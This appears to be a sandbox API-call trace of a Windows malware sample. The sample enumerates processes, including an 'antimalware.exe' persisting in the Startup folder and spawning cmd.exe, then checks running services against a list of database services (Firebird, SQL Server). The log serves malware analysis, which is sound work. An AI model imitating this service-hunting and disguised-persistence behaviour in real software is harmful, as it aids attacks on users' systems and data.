	[0147.892] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0147.892] Process32NextW (in: hSnapshot=0x514, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0147.893] lstrlenW (lpString="sihost.exe") returned 10
	[0147.893] Process32NextW (in: hSnapshot=0x514, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0147.893] lstrlenW (lpString="Memory Compression") returned 18
	[0147.893] Process32NextW (in: hSnapshot=0x514, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0147.894] lstrlenW (lpString="svchost.exe") returned 11
	[0147.894] Process32NextW (in: hSnapshot=0x514, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0147.895] lstrlenW (lpString="taskhostw.exe") returned 13
	[0147.895] Process32NextW (in: hSnapshot=0x514, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x190, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0147.896] lstrlenW (lpString="msoia.exe") returned 9
	[0147.896] Process32NextW (in: hSnapshot=0x514, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x190, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0147.897] lstrlenW (lpString="taskhostw.exe") returned 13
	[0147.897] Process32NextW (in: hSnapshot=0x514, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x40, th32ParentProcessID=0x9a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0147.898] lstrlenW (lpString="explorer.exe") returned 12
	[0147.898] Process32NextW (in: hSnapshot=0x514, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0147.899] lstrlenW (lpString="SearchUI.exe") returned 12
	[0147.899] Process32NextW (in: hSnapshot=0x514, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0147.900] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0147.900] Process32NextW (in: hSnapshot=0x514, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0147.901] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0147.901] Process32NextW (in: hSnapshot=0x514, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0147.901] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0147.902] Process32NextW (in: hSnapshot=0x514, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x9b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 1
	[0147.902] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0147.903] Process32NextW (in: hSnapshot=0x514, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0147.903] lstrlenW (lpString="cmd.exe") returned 7
	[0147.904] Process32NextW (in: hSnapshot=0x514, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdf8, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0147.904] lstrlenW (lpString="conhost.exe") returned 11
	[0147.905] Process32NextW (in: hSnapshot=0x514, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdf8, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0147.905] CloseHandle (hObject=0x514) returned 1
	[0147.905] Sleep (dwMilliseconds=0x1f4) 
	[0148.616] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x45b0228
	[0148.617] EnumServicesStatusExW (in: hSCManager=0x45b0228, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0) returned 0
	[0148.618] GetLastError () returned 0xea
	[0148.618] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1bc4) returned 0x459f450
	[0148.618] EnumServicesStatusExW (in: hSCManager=0x45b0228, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x459f450, cbBufSize=0x1bc4, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x459f450, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0) returned 1
	[0148.619] CloseServiceHandle (hSCObject=0x45b0228) returned 1
	[0148.619] lstrlenW (lpString="Appinfo") returned 7
	[0148.619] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0148.619] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0148.619] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0148.619] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0148.619] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0148.619] lstrlenW (lpString="AppXSvc") returned 7
	[0148.619] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0148.619] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0148.619] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0148.620] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0148.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0148.620] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0148.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0148.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0148.620] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0148.620] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0148.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0148.620] lstrlenW (lpString="Audiosrv") returned 8
	[0148.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0148.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0148.623] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0148.623] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0148.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0148.623] lstrlenW (lpString="BFE") returned 3
	[0148.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0148.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0148.623] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0148.623] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0148.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0148.623] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0148.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0148.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0148.623] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0148.623] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0148.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0148.623] lstrlenW (lpString="CDPSvc") returned 6
	[0148.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0148.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0148.623] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0148.623] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0148.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0148.623] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0148.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0148.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0148.624] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0148.624] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0148.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0148.624] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0148.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0148.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0148.624] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0148.624] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0148.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0148.624] lstrlenW (lpString="CryptSvc") returned 8
	[0148.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0148.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0148.624] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0148.624] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0148.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0148.624] lstrlenW (lpString="DcomLaunch") returned 10
	[0148.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0148.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0148.625] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0148.625] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0148.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0148.625] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0148.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0148.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0148.625] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0148.625] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0148.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0148.625] lstrlenW (lpString="Dhcp") returned 4
	[0148.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0148.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0148.625] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0148.625] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0148.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0148.625] lstrlenW (lpString="Dnscache") returned 8
	[0148.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0148.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0148.625] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0148.625] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0148.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0148.626] lstrlenW (lpString="DPS") returned 3
	[0148.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0148.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0148.626] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0148.626] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0148.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0148.626] lstrlenW (lpString="DusmSvc") returned 7
	[0148.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0148.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0148.626] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0148.626] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0148.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0148.626] lstrlenW (lpString="EventLog") returned 8
	[0148.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0148.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0148.626] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0148.626] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0148.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0148.626] lstrlenW (lpString="EventSystem") returned 11
	[0148.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0148.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0148.626] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0148.627] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0148.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0148.627] lstrlenW (lpString="FontCache") returned 9
	[0148.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0148.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0148.627] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0148.627] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0148.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0148.627] lstrlenW (lpString="gpsvc") returned 5
	[0148.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0148.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0148.627] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0148.627] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0148.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0148.627] lstrlenW (lpString="iphlpsvc") returned 8
	[0148.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0148.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0148.628] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0148.628] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0148.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0148.628] lstrlenW (lpString="KeyIso") returned 6
	[0148.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0148.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0148.629] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0148.629] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0148.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0148.629] lstrlenW (lpString="LanmanServer") returned 12
	[0148.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0148.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0148.629] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0148.629] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0148.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0148.629] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0148.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0148.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0148.629] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0148.629] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0148.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0148.629] lstrlenW (lpString="lfsvc") returned 5
	[0148.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0148.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0148.629] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0148.629] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0148.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0148.629] lstrlenW (lpString="lmhosts") returned 7
	[0148.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0148.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0148.630] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0148.630] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0148.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0148.630] lstrlenW (lpString="LSM") returned 3
	[0148.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0148.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0148.630] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0148.630] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0148.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0148.630] lstrlenW (lpString="MpsSvc") returned 6
	[0148.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0148.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0148.630] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0148.630] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0148.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0148.630] lstrlenW (lpString="NcbService") returned 10
	[0148.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0148.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0148.630] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0148.630] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0148.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0148.689] lstrlenW (lpString="netprofm") returned 8
	[0148.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0148.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0148.689] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0148.689] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0148.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0148.689] lstrlenW (lpString="NgcSvc") returned 6
	[0148.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0148.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0148.690] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0148.690] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0148.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0148.690] lstrlenW (lpString="NlaSvc") returned 6
	[0148.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0148.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0148.690] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0148.690] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0148.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0148.690] lstrlenW (lpString="nsi") returned 3
	[0148.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0148.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0148.690] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0148.690] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0148.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0148.690] lstrlenW (lpString="PcaSvc") returned 6
	[0148.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0148.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0148.690] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0148.690] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0148.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0148.690] lstrlenW (lpString="PlugPlay") returned 8
	[0148.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0148.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0148.690] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0148.691] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0148.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0148.691] lstrlenW (lpString="Power") returned 5
	[0148.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0148.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0148.691] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0148.691] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0148.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0148.691] lstrlenW (lpString="ProfSvc") returned 7
	[0148.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0148.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0148.691] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0148.691] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0148.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0148.691] lstrlenW (lpString="RpcEptMapper") returned 12
	[0148.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0148.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0148.691] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0148.691] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0148.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0148.691] lstrlenW (lpString="RpcSs") returned 5
	[0148.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0148.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0148.691] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0148.691] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0148.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0148.692] lstrlenW (lpString="SamSs") returned 5
	[0148.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0148.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0148.692] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0148.692] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0148.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0148.692] lstrlenW (lpString="Schedule") returned 8
